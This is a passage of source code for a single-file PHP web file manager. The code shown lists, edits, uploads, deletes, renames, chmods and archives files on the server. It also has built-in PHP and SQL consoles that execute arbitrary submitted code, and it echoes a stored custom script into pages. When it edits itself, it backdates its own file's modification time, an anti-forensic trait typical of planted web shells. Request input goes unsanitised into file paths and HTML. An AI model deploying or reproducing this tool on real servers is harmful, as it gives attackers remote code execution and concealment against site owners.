tuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
